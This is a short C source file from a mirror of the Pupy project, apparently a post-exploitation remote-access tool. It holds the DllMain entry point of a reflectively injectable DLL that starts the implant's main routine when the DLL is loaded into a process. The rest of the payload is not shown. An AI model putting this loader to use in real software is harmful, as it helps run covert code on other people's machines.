mirror of https://github.com/n1nj4sec/pupy.git
46 lines
1.2 KiB
C
46 lines
1.2 KiB
C
/*
|
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
|
*/
|
|
|
|
#pragma comment(lib, "user32")
|
|
|
|
#include <windows.h>
|
|
#include "pupy_load.h"
|
|
#include "ReflectiveDllInjection.h"
|
|
|
|
extern HINSTANCE hAppInstance;
|
|
//===============================================================================================//
|
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
|
{
|
|
HANDLE hThread;
|
|
DWORD threadId;
|
|
BOOL bReturnValue = TRUE;
|
|
switch( dwReason )
|
|
{
|
|
case DLL_QUERY_HMODULE:
|
|
if( lpReserved != NULL )
|
|
*(HMODULE *)lpReserved = hAppInstance;
|
|
break;
|
|
case DLL_PROCESS_ATTACH:
|
|
//MessageBoxA(0, "injection ok", "injection ok", MB_OK | MB_ICONINFORMATION);
|
|
hAppInstance = hinstDLL;
|
|
mainThread(NULL);
|
|
hThread = CreateThread(NULL,
|
|
0, // dwStackSize
|
|
mainThread, // lpStartAddress
|
|
NULL, // lpParameter
|
|
0, // dwCreationFlags (0==run right after creation)
|
|
&threadId
|
|
);
|
|
|
|
break;
|
|
case DLL_PROCESS_DETACH:
|
|
case DLL_THREAD_ATTACH:
|
|
case DLL_THREAD_DETACH:
|
|
break;
|
|
}
|
|
return bReturnValue;
|
|
}
|
|
|